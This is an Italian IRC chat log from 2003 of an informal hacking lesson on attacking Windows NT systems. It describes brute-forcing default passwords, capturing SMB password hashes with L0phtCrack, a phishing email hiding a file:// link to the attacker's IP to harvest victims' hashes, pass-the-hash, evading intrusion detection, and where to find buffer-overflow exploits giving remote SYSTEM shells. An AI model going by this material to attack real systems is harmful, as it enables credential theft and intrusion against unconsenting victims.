Session Start: Mon Oct 13 20:56:37 2003
Session Ident: #AlexMessoMalex
* Now talking in #AlexMessoMalex
* Topic is '•0,4Si prega di visitare la sezione •FAQ• e il •forum• prima di chiedere ai moderatori.• •0,10La•8,10 4a parte•0,10 del •8,10CHAT-MEETING •0,10si terrà Lunedì•8 13 Ottobre •0,10alle ore•8 22:00•0.••'
* Set by AlexMessoMalex on Mon Oct 13 10:24:43
-ChanServ- Messaggio di benvenuto di •#AlexMessoMalex•: •15,2Canale •ufficiale• del sito •8•www.AlexMessoMalex.com••

<XSickBoyX> eccomi
<AlexMessoMalex> siamo in ritardo, io direi di iniziare
<AlexMessoMalex> Ragazzi, adesso modero il canale e nessuno potrà più parlare per un po'
<MetalByte> perchè?
<dybart> ok
<AlexMessoMalex> Parlerà solo l'insegnante fino a quando ci sarà la pausa per le domande
<xxxxmanuelxxxx> si
<MetalByte> lezione di che?
* AlexMessoMalex sets mode: +m
<XSickBoyX> Alllora
<XSickBoyX> gentle men
<XSickBoyX> noi l'ultima volta iniziammo a parlare dei sistemi WIN NT/2000
<XSickBoyX> introducendo un pò le porte note
<XSickBoyX> cioè quelle porte che se letroviamo aperte
<XSickBoyX> durante uno scanPorts
<XSickBoyX> quasi sicuramente sarà un win nt
<XSickBoyX> altra cosa
<XSickBoyX> x adesso parliamo SOLO di win nt
<XSickBoyX> il prox argomento sarà
<XSickBoyX> win 2000
<XSickBoyX> visto che sono due sistemi molto simili (quando parleremo di win 2000 vi spiego le differenze sostanziali)
<XSickBoyX> tutte le tecniche o almeno la maggior parte
<XSickBoyX> valgono x ENTRAMBI i sistemi operativi
<XSickBoyX> ok?
<XSickBoyX> berne
<XSickBoyX> l'ultima lezione parlammo anche della ricerca x tentativi delle pass WinNT
<XSickBoyX> cioè
<XSickBoyX> quelle pass di default che a volte gli amministratori dimenticano
<XSickBoyX> di disattivare
<XSickBoyX> tipo chessò... admin admin
<XSickBoyX> Beh
<XSickBoyX> parlammo anche di Net Use
<XSickBoyX> programmino di win NT
<XSickBoyX> dai mille usi
<XSickBoyX> tra cui
<XSickBoyX> il comando FOR
<XSickBoyX> se leggerete i log vedrete che vi detti un esempio x compilare un ciclo (diciamo una sorta di bruceforce personalizzato)
<XSickBoyX> (sto facendo un breve riepilogo xkè ricordo che nell'ultima lezione non fui molto chiaro)
<XSickBoyX> partiamo oggi
<XSickBoyX> dal descrivere
<XSickBoyX> o almeno nominare alcuni elementi
<XSickBoyX> che potrebbero "sgamarvi"
<XSickBoyX> tipo BlackIce Pro
<XSickBoyX> o RealSecure
<XSickBoyX> della ISS www.iss.net
<XSickBoyX> o di SessionWall-3 della Computer Associate
<XSickBoyX> parlammo sempre nell'ultima lezione se non erro di LophtCrack
<XSickBoyX> e accennammo alla tecnica Man in the middle
<XSickBoyX> e dello sniffing
<XSickBoyX> allora partiamo stasera proprio da qui

<XSickBoyX> cioè da lophtcrack
<XSickBoyX> la o è uno ZERO!!!!
<XSickBoyX> lo trovate su www.l0pht.com
<XSickBoyX> la 0 è sempre uno zero
<XSickBoyX> allora la finalità
<XSickBoyX> di questo programma
<XSickBoyX> è
<XSickBoyX> fondamentalmente
<XSickBoyX> Crakkare le hash di passwords
<XSickBoyX> "rubate"
<XSickBoyX> in precedenza
<XSickBoyX> cmq
<XSickBoyX> Lophtcrack (da adesso LC)
<XSickBoyX> ha unafunzione importantissima chiamata SMB PACKET CAPTURE
<XSickBoyX> che è un priogrammino che cerca
<XSickBoyX> di bekkare le singole autenticazioni
<XSickBoyX> e di catturare gli hash di user e pass usate x l'autenticazione
appunto!
<XSickBoyX> Come funziona teoricamente sta cosa?
<XSickBoyX> beh
<XSickBoyX> bisogna dire
<XSickBoyX> che il WIn NT
<XSickBoyX> utilizza un metodo di autenticazione basato su un protocollo
chiamato challenge/response
<XSickBoyX> durante l'autent.
<XSickBoyX> il server invia al client un challenge (una sfida)
<XSickBoyX> che viene poi cifrato utilizzando
<XSickBoyX> come chiave l'hash della password dell'utente
<XSickBoyX> e restituito al server via cavo
<XSickBoyX> dopo
<XSickBoyX> il server
<XSickBoyX> esegue la cifratura del challenge
<XSickBoyX> utilizzando la sua copia
<XSickBoyX> dell'hash dell'utente
<XSickBoyX> presa dal SAM (Security Accounts MANAGER poi vedremo cos'è)
<XSickBoyX> e confronta i due valori
<XSickBoyX> Se coincidono
<XSickBoyX> l'utente è autenticato
<XSickBoyX> come fa quindi
<XSickBoyX> SMB Packet Capture di LC a bekkare l'hash???
<XSickBoyX> fa questo
<XSickBoyX> dal pakketto catturato
<XSickBoyX> LC ricava SOLO il challenge e l'hash dell'utente cifrato
<XSickBoyX> eseguendo la cifratura del valore conosciuto del challenge
<XSickBoyX> e confrontado il risultato
<XSickBoyX> con l'hash cifrato
<XSickBoyX> LC è in grado di isalire
<XSickBoyX> al valore effettivo dell'hash stesso
<XSickBoyX> inssomma è una sorta di Bruceforce
<XSickBoyX> A causa della debolezza di LM (LanManager)
<XSickBoyX> che è l'algoritmo secondo il quale avviene la cifratura
<XSickBoyX> l'hash viene decifrato in poco tempo
<XSickBoyX> fatta un pò di teoria andiamo avanti
<XSickBoyX> c'è un giochetto
<XSickBoyX> (semplice ma a volte efficace)
<XSickBoyX> mandate una email
<XSickBoyX> al sistema vittima
<XSickBoyX> e inclkudete
<XSickBoyX> nella email
<XSickBoyX> un URL Del tipo
<XSickBoyX> file://vostroip/condivisione/pagina.html
<XSickBoyX> e chiunquer
<XSickBoyX> faccia click su quel collegamento
<XSickBoyX> spedirà l'hash della propria pass tentando l'autenticazione
<XSickBoyX> al vostro sistema
<XSickBoyX> e con lo sniffer di LC è facile bekkarla
<XSickBoyX> ovviamente l'email sarà fatta ad hoc
<XSickBoyX> e metterete una bella email in html con un link fasullo

<XSickBoyX> cmq
<XSickBoyX> per adesso lasciamo per un pò
<XSickBoyX> perdere gli hash
<XSickBoyX> o almeno la loro cattura
<XSickBoyX> e vediamo cosa possiamo realmente farci
<XSickBoyX> ovviamente un hash è una cosa tipo c77f7agjhfiy786ausduia65da78dghaj
<XSickBoyX> e CHE CE FACCIAMO???????????
<XSickBoyX> perchè non provare a spedire direttamente l'hash senza tentare di decriptarla?
<XSickBoyX> in fondo winnt
<XSickBoyX> non chiede la pass ma solo l'hash
<XSickBoyX> un programmino che permette di farlo è smbclient x UNIX
<XSickBoyX> detto questo
<XSickBoyX> suy questo argomento
<XSickBoyX> oggi mentre cercavo materiale per la lezione vi ho trovato un bel doc da leggere
<XSickBoyX> http://www.core-sdi.com/papers/nt_cred.htm
<XSickBoyX> dove viene descritto in che modo
<XSickBoyX> il processo di sistema LSASS (local security Authority SubSystem
<XSickBoyX> memorizza le sessione di autenticazione
<XSickBoyX> e le credenziali ad esse assiociate
<XSickBoyX> ahime
<XSickBoyX> oltre il smbclient
<XSickBoyX> visto che io di solito non uso questa tecnica
<XSickBoyX> non vi posso dare altre dritte
<XSickBoyX> quindi :(((
<XSickBoyX> mica sono dio :)
<XSickBoyX> ok vogliamo fare qualche domanda?
<XSickBoyX> rebellius => ma se nnel link metiamo il nostro ip nn e' altamente riskioso?
* SaNdStOrM sets mode: -m
<XSickBoyX> allora
<XSickBoyX> rebellius mi ha fatto questa domanda
<XSickBoyX> giustamente
<skynet00> come si fa un link fasullo?
<XSickBoyX> se mettiamo in una email
<XSickBoyX> il nostro IP
<XSickBoyX> è
<XSickBoyX> pericoloso
<XSickBoyX> beh
<XSickBoyX> hai ragione
<XSickBoyX> ma esiste un programmino che introduceremo quando parleremo di SMB
<XSickBoyX> che simula un server
<rebellius> e come facciamo?
<XSickBoyX> SMB
<rebellius> ah ok
<HolySniper> introdurremo*
<XSickBoyX> si avvia sto progr
<rebellius> capito
<XSickBoyX> e si inddirizza tutto lì
<XSickBoyX> scusa Holy
<HolySniper> eheh
<HolySniper> scherzavo
<rebellius> :P
<XSickBoyX> ma scrivo quello che mi viene prima in mente :)
<XSickBoyX> cmq
<HolySniper> sisi
<XSickBoyX> Skynet
<XSickBoyX> basta chesso mettere una gif
<skynet00> si..
<XSickBoyX> e unirgli un link
<XSickBoyX> o scrivere un link
<XSickBoyX> che in realtà porta ad un altro
<skynet00> ok.. mi documenterò...
<XSickBoyX> per far questo ovviamente scriveremo
<XSickBoyX> una pagina html
<rebellius> ah capito
<XSickBoyX> e possiamo usare se nn sai scrivere in html

<XSickBoyX> anche uno di quei programmi
<rebellius> cioe' nasconde il vero link?
<Sbirilindo> si
<skynet00> si rib..
<XSickBoyX> che fanno i siti web e poi copiare il codice
<rebellius> ma dai tutti dovrebbero consocere il codice
<XSickBoyX> rebellius
<rebellius> o almeno in parte
<XSickBoyX> tieni presente
<XSickBoyX> quel link
<XSickBoyX> ENTRA nel sito di alex???
<skynet00> si..
<XSickBoyX> beh
<XSickBoyX> una volta che clikki
<XSickBoyX> lì sai che entri nel sito
<skynet00> si si...
<skynet00> li invece fai un altra cosa:)
<XSickBoyX> ma se alex metteva che so un link che ci spediva in una pagina con del codice che sfruttava qualche bug noto che lo metteva nel cu*o
<XSickBoyX> capite cosa intendo?
<XSickBoyX> bene altre domande?
<rebellius> ci poteva fottere
<XSickBoyX> io vi consiglio se avete win di procurarvi
<rebellius> ma nn l'ha fatto
<rebellius> :P
<XSickBoyX> LC
<XSickBoyX> ahahahh
<XSickBoyX> altre domande?????
<pin> che ci fai?
<Sbirilindo> ma quindi LC funge anke da sniffer
<Sbirilindo> e da passw cracker
<rebellius> sick ma l0pthcrack
<XSickBoyX> si sbirilindo
<rebellius> funziona solo su ssistemi nt e 2000?
<XSickBoyX> no
<XSickBoyX> l'ho porovatyo poco tempo fa su un win 98 e sembrava funzionasse
<Gabriele> quindi anche sui più vecchi....win98
<rebellius> io l'ho provato anke su xp tempo fa..
<XSickBoyX> sbirilindo
<Sbirilindo> si
<rebellius> nn mi dava i crack dopo aver asetato 4 ore
<XSickBoyX> prima LC aveva un progr a parte chiamato readsmb
<XSickBoyX> adesso li hanno integrati
<XSickBoyX> pin che ci fai con cosa?????
<Gabriele> Sul Win me...lo hai provato?
<XSickBoyX> ma dei crack da degli hash?
<pin> lc
<XSickBoyX> grabriele se va su win98 va anche su winme
<Sbirilindo> smb, vorrebbe dire samba?
<XSickBoyX> azz
<XSickBoyX> pin io
<rebellius> ma no
<antos> quindi su xp non funge
<XSickBoyX> fino adesso ho parlato di quello :)))
<rebellius> dai pin
<rebellius> qndi nn ahi captio un cazza
<XSickBoyX> no
<pin> e mm ho capito
<rebellius> cazzo
<XSickBoyX> ahahahahahah
<XSickBoyX> allora
<pin> :)
<XSickBoyX> sbiri
<XSickBoyX> SMBCLIENT
<XSickBoyX> quello che permette
<antos> forse xchè utilizza un'altro portocollo di autorizzazione?
<XSickBoyX> si antos
<XSickBoyX> allora

<antos> :)
<antos> ;)
<XSickBoyX> l'SMB di SMBclient si riferisce a samba
<XSickBoyX> xkè questo non è altro che il samba "modificato ad hoc"
<XSickBoyX> ma di questo programma
<XSickBoyX> non ne ho mai avuto traccia :)
<XSickBoyX> è una vekkia leggenda
<XSickBoyX> che girava un annetto fa
<XSickBoyX> nell'underground
<XSickBoyX> ;)
<antos> un possibile link da cui scaricarlo...
<Fig[a]Ro`> scusatemi la 26112
<XSickBoyX> l'SMB packet capture
<Fig[a]Ro`> che Porta e'?
<XSickBoyX> si riferisce al protocollo SMB
<rebellius> perkwe' esiste?
<rebellius> ,la porta 26112 essiste?
<XSickBoyX> figaro
<XSickBoyX> ho una lista di porte
<rebellius> waw nn lo sapevo
<XSickBoyX> attakkata vicino al muro :) ma la 26112 nuin ce sta
<XSickBoyX> forse la usa
<rebellius> ecco avevo ragione
<XSickBoyX> quanclhe tuo progr
<XSickBoyX> allora
<antos> :)
<XSickBoyX> altre domande?
<rebellius> bèh
<pin> si io
<rebellius> qnd ci parlarai dell'attakko vero e proprio?
<rebellius> nn in termini tecnici
<rebellius> ma in qllo ke si prova
<XSickBoyX> rebellius
<XSickBoyX> in quello che si prova come sensazioni??? ;)
<skynet00> pure filosofia?
<rebellius> io lo faccio trmaite lan a scuola
<XSickBoyX> non ho capito che vuoi dire
<XSickBoyX> dimmi PIN
<rebellius> si ocme sensazioni a scuola e' una cagata
<XSickBoyX> senti rebellius+
<XSickBoyX> io ho avuto la polposte a 15 anni a casa
<XSickBoyX> e ti assicuro che non è bello
<XSickBoyX> nemmeno un pò
<XSickBoyX> e quella volta
<pin> lc se lo scarico
<XSickBoyX> presi (senza nemmeno farlo apposta!!!)
<pin> che ci faccio?
<rebellius> lo penso
<XSickBoyX> un doc che parlava del funzionamento
<XSickBoyX> delle cabine telefoniche
<XSickBoyX> rosse
<Sbirilindo> azz
<XSickBoyX> quelle solo con la scheda ma non le nuove
<XSickBoyX> la cosa fu bella e subito con il mio gruppo smontammo una cabina
<XSickBoyX> e ce la portammo in cantina
<rebellius> ^_^
<XSickBoyX> poi bekkarono solo me
<rebellius> mauahauahau
<XSickBoyX> e cmq
<rebellius> a no
<Sbirilindo> e ke sfigA
<XSickBoyX> questo argomento non fa parte della lezione :)
<rebellius> infatti
<rebellius> :P
<XSickBoyX> sibir fu il mio pc a bekkare quel doc
<XSickBoyX> PIN
<XSickBoyX> kakkio
<XSickBoyX> come che ci fai con LC????

<rebellius> ni
<rebellius> devi domarndargli
<rebellius> ma cosa ci fai sulla terra?
<skynet00> eheh
<rebellius> nn capisci niente fratello
<rebellius> fattelodire
<XSickBoyX> noooo
<XSickBoyX> s'è offeso
<XSickBoyX> vabbè
<rebellius> stiamo parlando da quasi un'ora di lc
<XSickBoyX> andiamo avanti??????
<rebellius> scusa a
<rebellius> ci voleva
<rebellius> si vai
<XSickBoyX> andiamo avanti
* XSickBoyX sets mode: +m
<XSickBoyX> ok
<XSickBoyX> vi ho levato la parola
<XSickBoyX> (wow mi sento Dio)
<XSickBoyX> ahhehehehehaeuhauehuaheua
<XSickBoyX> cmq
<XSickBoyX> adesso parliamo (brevemente perchè siete in pochi e perchè ne parleremo meglio parlando degli attakki DoS)
<XSickBoyX> degli BUFFER OVERFLOW
<XSickBoyX> sicuramente ne avete sentito parlare
<XSickBoyX> ma in relatà chi sa cosa sono??????????
<XSickBoyX> allora
<XSickBoyX> i buffer overflow
<XSickBoyX> si verificano
<XSickBoyX> quando le applicazioni
<XSickBoyX> non verificano la lunghezza
<XSickBoyX> dei dati in input
<XSickBoyX> x esempio
<XSickBoyX> io spesso e volentieri mi vanto di aver scoperto un buffer overflow
<XSickBoyX> cioè
<XSickBoyX> chi ha c6
<XSickBoyX> può provare
<XSickBoyX> chi ha la build 4041
<XSickBoyX> cioè
<XSickBoyX> voi potete far blokkare chi ha la build 4041
<XSickBoyX> non so se sono uscite altre versioni
<XSickBoyX> non lo uso da tempo
<XSickBoyX> cmq...
<XSickBoyX> se mandavate file
<XSickBoyX> con il nome formato da tanti caratteri (se non erro 125)
<XSickBoyX> il client che riceveva si blokkava
<XSickBoyX> ahimè
<XSickBoyX> da questo bug
<XSickBoyX> però non sono mai riuscito a trarne vantaggio
<XSickBoyX> ;)
<XSickBoyX> xò ,anche se per caso, posso dire di aver scoperto un bug
<XSickBoyX> :))
<XSickBoyX> cmq torniamo a noi
<XSickBoyX> che accade quando mandiamo un input anomalo ad una applicazione?
<XSickBoyX> l'applicazione va a puttane x un overflow (cioè sovraccarico)
<XSickBoyX> di dati che possono essere spinti
<XSickBoyX> nello stack di esecuzione
<XSickBoyX> della CPU
<XSickBoyX> se i dati vengono scelti non a caso ma in modo "studiato"
<XSickBoyX> l'errore di un Buffer Overflow
<XSickBoyX> può permettere
<XSickBoyX> l'esecuzione
<XSickBoyX> di parti di codice
<XSickBoyX> su questo argomento vi rimando
<XSickBoyX> su http://phrack.org
<XSickBoyX> al numero 49
<XSickBoyX> (phrack era una famosissima ezine
<XSickBoyX> leggete l'articolo SMASHING THE STACK FOR FUN AND PROFIT

<XSickBoyX> da non perdere
<XSickBoyX> adesso
<XSickBoyX> ;)
<XSickBoyX> vi dico e vi dò una breve descrizione
<XSickBoyX> degli buffer overflow
<XSickBoyX> più famosi x NT
<XSickBoyX> allora famosissimo il BO (buffer OVERFLOW)
<XSickBoyX> di netmeeting 2.x
<XSickBoyX> c'è uno script
<XSickBoyX> su www.cultdeadcow.com/cDc_files/cDc-351
<XSickBoyX> che
<XSickBoyX> manda in crash il netmeeting
<XSickBoyX> e fa scaricare sul pc vittima un progr innocuo dal server dei CDC
<XSickBoyX> poi c'è il RAS di CIS (cerberus information Security)
<XSickBoyX> che se il sistema target
<XSickBoyX> soffre del BO
<XSickBoyX> in questione
<XSickBoyX> permette al sistema attakkante di eseguire un prompt di comandi
<XSickBoyX> con autorizzazione system
<XSickBoyX> dovreste trovare uno script precompilato su
http://www.cerberus-infosec.co.uk/wprasbuf.htm
<XSickBoyX> altro BO è quello che colpisce L'IIS e permette di eseguire codice
arbitrario
<XSickBoyX> IIS
<XSickBoyX> sul sistema vittima che deve però essere un server IIS
<XSickBoyX> trovate info
<XSickBoyX> su www.eeye.com
<XSickBoyX> altro grande BO e con questop concludo è ORACLE WEB LISTENER
<XSickBoyX> che fa eseguire ccomandi remoti
<XSickBoyX> con autorizzazioni di system
<XSickBoyX> domande?
* XSickBoyX sets mode: -m
<XSickBoyX> cazz
<M4dNeSs> posso andare al bagno???
<XSickBoyX> sono rimasto solo io????
<M4dNeSs> =)))
<XSickBoyX> NO MADNESS STAI SEDUTO
<rebellius> oh caxxo rga purtroppo debbo andare (pekkato)
<M4dNeSs> bahahahahahawhha
<XSickBoyX> VAI SEMPRE NEL BAGNO......
<dybart> nessuna domanda
<rebellius> alla prox ciao
<pin> finito?
<dybart> ciao rebellius
<M4dNeSs> domani provo tutto!! =)
<M4dNeSs> anche s eho seguito poco :°°°°°
<SaNdStOrM> concludiamo
<XSickBoyX> si direi di si
<XSickBoyX> la finiamo qui